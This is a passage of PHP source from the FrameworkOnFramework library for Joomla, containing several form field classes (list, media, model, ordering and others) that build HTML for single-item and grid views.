htmlspecialchars($selected['item'], ENT_COMPAT,
'UTF-8') .
'</span>';
}
/**
* Gets the active option's label given an array of JHtml options
*
* @param array $data The JHtml options to parse
* @param mixed $selected The currently selected value
* @param string $groupKey Group name
* @param string $optKey Key name
* @param string $optText Value name
*
* @return mixed The label of the currently selected option
*/
public static function getOptionName($data, $selected = null, $groupKey =
'items', $optKey = 'value', $optText =
'text')
{
$ret = null;
foreach ($data as $dataKey => $group)
{
$label = $dataKey;
$noGroup = is_int($dataKey);
if (is_array($group))
{
$subList = $group[$groupKey];
$label = $group[$optText];
$noGroup = false;
}
elseif (is_object($group))
{
// Sub-list is in a property of an object
$subList = $group->$groupKey;
$label = $group->$optText;
$noGroup = false;
}
else
{
throw new RuntimeException('Invalid group contents.', 1);
}
if ($noGroup)
{
$label = '';
}
$match = FOFFormFieldList::getOptionName($data, $selected, $optKey,
$optText);
if (!is_null($match))
{
$ret = array(
'group' => $label,
'item' => $match
);
break;
}
}
return $ret;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('hidden');
/**
* Form Field class for the FOF framework
* A hidden field
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldHidden extends JFormFieldHidden implements FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
return $this->getInput();
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
return $this->getInput();
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Form Field class for the FOF framework
* Media selection field. This is an alias of the "media" field
type.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldImage extends FOFFormFieldMedia
{
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no longer
reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('imagelist');
/**
* Form Field class for the FOF framework
* Media selection field.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldImagelist extends JFormFieldImageList implements
FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$imgattr = array(
'id' => $this->id
);
if ($this->element['class'])
{
$imgattr['class'] = (string)
$this->element['class'];
}
if ($this->element['style'])
{
$imgattr['style'] = (string)
$this->element['style'];
}
if ($this->element['width'])
{
$imgattr['width'] = (string)
$this->element['width'];
}
if ($this->element['height'])
{
$imgattr['height'] = (string)
$this->element['height'];
}
if ($this->element['align'])
{
$imgattr['align'] = (string)
$this->element['align'];
}
if ($this->element['rel'])
{
$imgattr['rel'] = (string) $this->element['rel'];
}
if ($this->element['alt'])
{
$alt = JText::_((string) $this->element['alt']);
}
else
{
$alt = null;
}
if ($this->element['title'])
{
$imgattr['title'] = JText::_((string)
$this->element['title']);
}
$path = (string) $this->element['directory'];
$path = trim($path, '/' . DIRECTORY_SEPARATOR);
if ($this->value && file_exists(JPATH_ROOT . '/' .
$path . '/' . $this->value))
{
$src = FOFPlatform::getInstance()->URIroot() . '/' . $path
. '/' . $this->value;
}
else
{
$src = '';
}
return JHtml::_('image', $src, $alt, $imgattr);
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
return $this->getStatic();
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('integer');
/**
* Form Field class for the FOF framework
* Supports a one line text field.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldInteger extends JFormFieldInteger implements FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? ' class="'
. (string) $this->element['class'] . '"' :
'';
return '<span id="' . $this->id . '"
' . $class . '>' .
htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') .
'</span>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
$class = $this->element['class'] ? (string)
$this->element['class'] : '';
return '<span class="' . $this->id . ' ' .
$class . '">' .
htmlspecialchars(FOFFormFieldList::getOptionName($this->getOptions(),
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('language');
/**
* Form Field class for FOF
* Available site languages
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldLanguage extends JFormFieldLanguage implements
FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Method to get the field options.
*
* @since 2.0
*
* @return array The field option objects.
*/
protected function getOptions()
{
$options = parent::getOptions();
$noneoption = $this->element['none'] ?
$this->element['none'] : null;
if ($noneoption)
{
array_unshift($options, JHtml::_('select.option',
'*', JText::_($noneoption)));
}
return $options;
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? ' class="'
. (string) $this->element['class'] . '"' :
'';
return '<span id="' . $this->id . '"
' . $class . '>' .
htmlspecialchars(FOFFormFieldList::getOptionName($this->getOptions(),
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
$class = $this->element['class'] ? (string)
$this->element['class'] : '';
return '<span class="' . $this->id . ' ' .
$class . '">' .
htmlspecialchars(FOFFormFieldList::getOptionName($this->getOptions(),
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no longer
reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for FOF
* Supports a generic list of options.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldList extends JFormFieldList implements FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? ' class="'
. (string) $this->element['class'] . '"' :
'';
return '<span id="' . $this->id . '"
' . $class . '>' .
htmlspecialchars(self::getOptionName($this->getOptions(),
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
$show_link = false;
$link_url = '';
$class = $this->element['class'] ? (string)
$this->element['class'] : '';
if ($this->element['show_link'] == 'true')
{
$show_link = true;
}
if ($this->element['url'])
{
$link_url = $this->element['url'];
}
else
{
$show_link = false;
}
if ($show_link && ($this->item instanceof FOFTable))
{
$link_url = $this->parseFieldTags($link_url);
}
else
{
$show_link = false;
}
$html = '<span class="' . $this->id . ' '
. $class . '">';
if ($show_link)
{
$html .= '<a href="' . $link_url .
'">';
}
$html .= htmlspecialchars(self::getOptionName($this->getOptions(),
$this->value), ENT_COMPAT, 'UTF-8');
if ($show_link)
{
$html .= '</a>';
}
$html .= '</span>';
return $html;
}
/**
* Gets the active option's label given an array of JHtml options
*
* @param array $data The JHtml options to parse
* @param mixed $selected The currently selected value
* @param string $optKey Key name
* @param string $optText Value name
*
* @return mixed The label of the currently selected option
*/
public static function getOptionName($data, $selected = null, $optKey =
'value', $optText = 'text')
{
$ret = null;
foreach ($data as $elementKey => &$element)
{
if (is_array($element))
{
$key = $optKey === null ? $elementKey : $element[$optKey];
$text = $element[$optText];
}
elseif (is_object($element))
{
$key = $optKey === null ? $elementKey : $element->$optKey;
$text = $element->$optText;
}
else
{
// This is a simple associative array
$key = $elementKey;
$text = $element;
}
if (is_null($ret))
{
$ret = $text;
}
elseif ($selected == $key)
{
$ret = $text;
}
}
return $ret;
}
/**
* Method to get the field options.
*
* Ordering is disabled by default. You can enable ordering by setting the
* 'order' element in your form field. The other order values
are optional.
*
* - order What to order. Possible values: 'name' or
'value' (default = false)
* - order_dir Order direction. Possible values: 'asc' =
Ascending or 'desc' = Descending (default = 'asc')
* - order_case_sensitive Order case sensitive. Possible values:
'true' or 'false' (default = false)
*
* @return array The field option objects.
*
* @since Ordering is available since FOF 2.1.b2.
*/
protected function getOptions()
{
// Ordering is disabled by default for backward compatibility
$order = false;
// Set default order direction
$order_dir = 'asc';
// Set default value for case sensitive sorting
$order_case_sensitive = false;
if ($this->element['order'] &&
$this->element['order'] !== 'false')
{
$order = $this->element['order'];
}
if ($this->element['order_dir'])
{
$order_dir = $this->element['order_dir'];
}
if ($this->element['order_case_sensitive'])
{
// Override default setting when the form element value is
'true'
if ($this->element['order_case_sensitive'] ==
'true')
{
$order_case_sensitive = true;
}
}
// Create a $sortOptions array in order to apply sorting
$i = 0;
$sortOptions = array();
foreach ($this->element->children() as $option)
{
$name = JText::alt(trim((string) $option),
preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$this->fieldname));
$sortOptions[$i] = new stdClass;
$sortOptions[$i]->option = $option;
$sortOptions[$i]->value = $option['value'];
$sortOptions[$i]->name = $name;
$i++;
}
// Only order if it's set
if ($order)
{
jimport('joomla.utilities.arrayhelper');
FOFUtilsArray::sortObjects($sortOptions, $order, $order_dir ==
'asc' ? 1 : -1, $order_case_sensitive, false);
}
// Initialise the options
$options = array();
// Get the field $options
foreach ($sortOptions as $sortOption)
{
$option = $sortOption->option;
$name = $sortOption->name;
// Only add <option /> elements.
if ($option->getName() != 'option')
{
continue;
}
$tmp = JHtml::_('select.option', (string)
$option['value'], $name, 'value', 'text',
((string) $option['disabled'] == 'true'));
// Set some option attributes.
$tmp->class = (string) $option['class'];
// Set some JavaScript option attributes.
$tmp->onclick = (string) $option['onclick'];
// Add the option object to the result set.
$options[] = $tmp;
}
// Do we have a class and method source for our options?
$source_file = empty($this->element['source_file']) ?
'' : (string) $this->element['source_file'];
$source_class = empty($this->element['source_class']) ?
'' : (string) $this->element['source_class'];
$source_method = empty($this->element['source_method']) ?
'' : (string) $this->element['source_method'];
$source_key = empty($this->element['source_key']) ?
'*' : (string) $this->element['source_key'];
$source_value = empty($this->element['source_value']) ?
'*' : (string) $this->element['source_value'];
$source_translate =
empty($this->element['source_translate']) ? 'true' :
(string) $this->element['source_translate'];
$source_translate = in_array(strtolower($source_translate),
array('true','yes','1','on')) ?
true : false;
$source_format = empty($this->element['source_format']) ?
'' : (string) $this->element['source_format'];
if ($source_class && $source_method)
{
// Maybe we have to load a file?
if (!empty($source_file))
{
$source_file = FOFTemplateUtils::parsePath($source_file, true);
if
(FOFPlatform::getInstance()->getIntegrationObject('filesystem')->fileExists($source_file))
{
include_once $source_file;
}
}
// Make sure the class exists
if (class_exists($source_class, true))
{
// ...and so does the option
if (in_array($source_method, get_class_methods($source_class)))
{
// Get the data from the class
if ($source_format == 'optionsobject')
{
$options = array_merge($options, $source_class::$source_method());
}
else
{
// Get the data from the class
$source_data = $source_class::$source_method();
// Loop through the data and prime the $options array
foreach ($source_data as $k => $v)
{
$key = (empty($source_key) || ($source_key == '*')) ? $k :
$v[$source_key];
$value = (empty($source_value) || ($source_value == '*'))
? $v : $v[$source_value];
if ($source_translate)
{
$value = JText::_($value);
}
$options[] = JHtml::_('select.option', $key, $value,
'value', 'text');
}
}
}
}
}
reset($options);
return $options;
}
/**
* Replace string with tags that reference fields
*
* @param string $text Text to process
*
* @return string Text with tags replace
*/
protected function parseFieldTags($text)
{
$ret = $text;
// Replace [ITEM:ID] in the URL with the item's key value (usually:
// the auto-incrementing numeric ID)
$keyfield = $this->item->getKeyName();
$replace = $this->item->$keyfield;
$ret = str_replace('[ITEM:ID]', $replace, $ret);
// Replace the [ITEMID] in the URL with the current Itemid parameter
$ret = str_replace('[ITEMID]',
JFactory::getApplication()->input->getInt('Itemid', 0),
$ret);
// Replace other field variables in the URL
$fields = $this->item->getTableFields();
foreach ($fields as $fielddata)
{
$fieldname = $fielddata->Field;
if (empty($fieldname))
{
$fieldname = $fielddata->column_name;
}
$search = '[ITEM:' . strtoupper($fieldname) .
']';
$replace = $this->item->$fieldname;
$ret = str_replace($search, $replace, $ret);
}
return $ret;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no longer
reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('media');
/**
* Form Field class for the FOF framework
* Media selection field.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldMedia extends JFormFieldMedia implements FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$imgattr = array(
'id' => $this->id
);
if ($this->element['class'])
{
$imgattr['class'] = (string)
$this->element['class'];
}
if ($this->element['style'])
{
$imgattr['style'] = (string)
$this->element['style'];
}
if ($this->element['width'])
{
$imgattr['width'] = (string)
$this->element['width'];
}
if ($this->element['height'])
{
$imgattr['height'] = (string)
$this->element['height'];
}
if ($this->element['align'])
{
$imgattr['align'] = (string)
$this->element['align'];
}
if ($this->element['rel'])
{
$imgattr['rel'] = (string) $this->element['rel'];
}
if ($this->element['alt'])
{
$alt = JText::_((string) $this->element['alt']);
}
else
{
$alt = null;
}
if ($this->element['title'])
{
$imgattr['title'] = JText::_((string)
$this->element['title']);
}
if ($this->value && file_exists(JPATH_ROOT . '/' .
$this->value))
{
$src = FOFPlatform::getInstance()->URIroot() . $this->value;
}
else
{
$src = '';
}
return JHtml::_('image', $src, $alt, $imgattr);
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
return $this->getStatic();
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for FOF
* Generic list from a model's results
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldModel extends FOFFormFieldList implements FOFFormField
{
protected $static;
protected $repeatable;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
$class = $this->element['class'] ? ' class="'
. (string) $this->element['class'] . '"' :
'';
return '<span id="' . $this->id . '"
' . $class . '>' .
htmlspecialchars(FOFFormFieldList::getOptionName($this->getOptions(),
$this->value), ENT_COMPAT, 'UTF-8') .
'</span>';
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
$class = $this->id;
$format_string = '';
$show_link = false;
$link_url = '';
$empty_replacement = '';
// Get field parameters
if ($this->element['class'])
{
$class = (string) $this->element['class'];
}
if ($this->element['format'])
{
$format_string = (string) $this->element['format'];
}
if ($this->element['show_link'] == 'true')
{
$show_link = true;
}
if ($this->element['url'])
{
$link_url = $this->element['url'];
}
else
{
$show_link = false;
}
if ($show_link && ($this->item instanceof FOFTable))
{
$link_url = $this->parseFieldTags($link_url);
}
else
{
$show_link = false;
}
if ($this->element['empty_replacement'])
{
$empty_replacement = (string)
$this->element['empty_replacement'];
}
$value = FOFFormFieldList::getOptionName($this->getOptions(),
$this->value);
// Get the (optionally formatted) value
if (!empty($empty_replacement) && empty($value))
{
$value = JText::_($empty_replacement);
}
if (empty($format_string))
{
$value = htmlspecialchars($value, ENT_COMPAT, 'UTF-8');
}
else
{
$value = sprintf($format_string, $value);
}
// Create the HTML
$html = '<span class="' . $class .
'">';
if ($show_link)
{
$html .= '<a href="' . $link_url .
'">';
}
$html .= $value;
if ($show_link)
{
$html .= '</a>';
}
$html .= '</span>';
return $html;
}
/**
* Method to get the field options.
*
* @return array The field option objects.
*/
protected function getOptions()
{
$options = array();
// Initialize some field attributes.
$key = $this->element['key_field'] ? (string)
$this->element['key_field'] : 'value';
$value = $this->element['value_field'] ? (string)
$this->element['value_field'] : (string)
$this->element['name'];
$translate = $this->element['translate'] ? (string)
$this->element['translate'] : false;
$applyAccess = $this->element['apply_access'] ? (string)
$this->element['apply_access'] : 'false';
$modelName = (string) $this->element['model'];
$nonePlaceholder = (string) $this->element['none'];
if (!empty($nonePlaceholder))
{
$options[] = JHtml::_('select.option', null,
JText::_($nonePlaceholder));
}
// Process field atrtibutes
$applyAccess = strtolower($applyAccess);
$applyAccess = in_array($applyAccess, array('yes',
'on', 'true', '1'));
// Explode model name into model name and prefix
$parts = FOFInflector::explode($modelName);
$mName = ucfirst(array_pop($parts));
$mPrefix = FOFInflector::implode($parts);
// Get the model object
$config = array('savestate' => 0);
$model = FOFModel::getTmpInstance($mName, $mPrefix, $config);
if ($applyAccess)
{
$model->applyAccessFiltering();
}
// Process state variables
foreach ($this->element->children() as $stateoption)
{
// Only add <option /> elements.
if ($stateoption->getName() != 'state')
{
continue;
}
$stateKey = (string) $stateoption['key'];
$stateValue = (string) $stateoption;
$model->setState($stateKey, $stateValue);
}
// Set the query and get the result list.
$items = $model->getItemList(true);
// Build the field options.
if (!empty($items))
{
foreach ($items as $item)
{
if ($translate == true)
{
$options[] = JHtml::_('select.option', $item->$key,
JText::_($item->$value));
}
else
{
$options[] = JHtml::_('select.option', $item->$key,
$item->$value);
}
}
}
// Merge any additional options in the XML definition.
$options = array_merge(parent::getOptions(), $options);
return $options;
}
/**
* Replace string with tags that reference fields
*
* @param string $text Text to process
*
* @return string Text with tags replace
*/
protected function parseFieldTags($text)
{
$ret = $text;
// Replace [ITEM:ID] in the URL with the item's key value (usually:
// the auto-incrementing numeric ID)
$keyfield = $this->item->getKeyName();
$replace = $this->item->$keyfield;
$ret = str_replace('[ITEM:ID]', $replace, $ret);
// Replace the [ITEMID] in the URL with the current Itemid parameter
$ret = str_replace('[ITEMID]',
JFactory::getApplication()->input->getInt('Itemid', 0),
$ret);
// Replace other field variables in the URL
$fields = $this->item->getTableFields();
foreach ($fields as $fielddata)
{
$fieldname = $fielddata->Field;
if (empty($fieldname))
{
$fieldname = $fielddata->column_name;
}
$search = '[ITEM:' . strtoupper($fieldname) .
']';
$replace = $this->item->$fieldname;
$ret = str_replace($search, $replace, $ret);
}
return $ret;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Form Field class for FOF
* Renders the row ordering interface checkbox in browse views
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldOrdering extends JFormField implements FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
public $rowid;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to the the value.
*
* @return mixed The property value or null.
*
* @since 2.0
*/
public function __get($name)
{
switch ($name)
{
case 'static':
if (empty($this->static))
{
$this->static = $this->getStatic();
}
return $this->static;
break;
case 'repeatable':
if (empty($this->repeatable))
{
$this->repeatable = $this->getRepeatable();
}
return $this->repeatable;
break;
default:
return parent::__get($name);
}
}
/**
* Method to get the field input markup for this field type.
*
* @since 2.0
*
* @return string The field input markup.
*/
protected function getInput()
{
$html = array();
$attr = '';
// Initialize some field attributes.
$attr .= !empty($this->class) ? ' class="' .
$this->class . '"' : '';
$attr .= $this->disabled ? ' disabled' : '';
$attr .= !empty($this->size) ? ' size="' .
$this->size . '"' : '';
// Initialize JavaScript field attributes.
$attr .= !empty($this->onchange) ? ' onchange="' .
$this->onchange . '"' : '';
$this->item = $this->form->getModel()->getItem();
$keyfield = $this->item->getKeyName();
$itemId = $this->item->$keyfield;
$query = $this->getQuery();
// Create a read-only list (no name) with a hidden input to store the
value.
if ($this->readonly)
{
$html[] = JHtml::_('list.ordering', '', $query,
trim($attr), $this->value, $itemId ? 0 : 1);
$html[] = '<input type="hidden" name="' .
$this->name . '" value="' . $this->value .
'"/>';
}
else
{
// Create a regular list.
$html[] = JHtml::_('list.ordering', $this->name, $query,
trim($attr), $this->value, $itemId ? 0 : 1);
}
return implode($html);
}
/**
* Get the rendering of this field type for static display, e.g. in a
single
* item view (typically a "read" task).
*
* @since 2.0
*
* @return string The field HTML
*/
public function getStatic()
{
throw new Exception(__CLASS__ . ' cannot be used in single item
display forms');
}
/**
* Get the rendering of this field type for a repeatable (grid) display,
* e.g. in a view listing many item (typically a "browse" task)
*
* @since 2.0
*
* @return string The field HTML
*/
public function getRepeatable()
{
if (!($this->item instanceof FOFTable))
{
throw new Exception(__CLASS__ . ' needs a FOFTable to act
upon');
}
$class = isset($this->element['class']) ?
$this->element['class'] : 'input-mini';
$icon = isset($this->element['icon']) ?
$this->element['icon'] : 'icon-menu';
$html = '';
$view = $this->form->getView();
$ordering = $view->getLists()->order == 'ordering';
if (!$view->hasAjaxOrderingSupport())
{
// Ye olde Joomla! 2.5 method
$disabled = $ordering ? '' :
'disabled="disabled"';
$html .= '<span>';
$html .= $view->pagination->orderUpIcon($this->rowid, true,
'orderup', 'Move Up', $ordering);
$html .= '</span><span>';
$html .= $view->pagination->orderDownIcon($this->rowid,
$view->pagination->total, true, 'orderdown', 'Move
Down', $ordering);
$html .= '</span>';
$html .= '<input type="text" name="order[]"
size="5" value="' . $this->value . '"
' . $disabled;
$html .= 'class="text-area-order" style="text-align:
center" />';
}
else
{
// The modern drag'n'drop method
if ($view->getPerms()->editstate)
{
$disableClassName = '';
$disabledLabel = '';
$hasAjaxOrderingSupport = $view->hasAjaxOrderingSupport();
if (!$hasAjaxOrderingSupport['saveOrder'])
{
$disabledLabel = JText::_('JORDERINGDISABLED');
$disableClassName = 'inactive tip-top';
}
$orderClass = $ordering ? 'order-enabled' :
'order-disabled';
$html .= '<div class="' . $orderClass .
'">';
$html .= '<span class="sortable-handler ' .
$disableClassName . '" title="' . $disabledLabel .
'" rel="tooltip">';
$html .= '<i class="' . $icon .
'"></i>';
$html .= '</span>';
if ($ordering)
{
$html .= '<input type="text"
name="order[]" size="5" class="' . $class .
' text-area-order" value="' . $this->value .
'" />';
}
$html .= '</div>';
}
else
{
$html .= '<span class="sortable-handler inactive"
>';
$html .= '<i class="' . $icon .
'"></i>';
$html .= '</span>';
}
}
return $html;
}
/**
* Builds the query for the ordering list.
*
* @since 2.3.2
*
* @return FOFDatabaseQuery The query for the ordering form field
*/
protected function getQuery()
{
$ordering = $this->name;
$title = $this->element['ordertitle'] ? (string)
$this->element['ordertitle'] :
$this->item->getColumnAlias('title');
$db = FOFPlatform::getInstance()->getDbo();
$query = $db->getQuery(true);
$query->select(array($db->quoteName($ordering, 'value'),
$db->quoteName($title, 'text')))
->from($db->quoteName($this->item->getTableName()))
->order($ordering);
return $query;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage form
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
JFormHelper::loadFieldClass('password');
/**
* Form Field class for the FOF framework
* Supports a one line text field.
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFFormFieldPassword extends JFormFieldPassword implements
FOFFormField
{
protected $static;
protected $repeatable;
/** @var FOFTable The item being rendered in a repeatable form field */
public $item;
/** @var int A monotonically increasing number, denoting the row number in
a repeatable view */
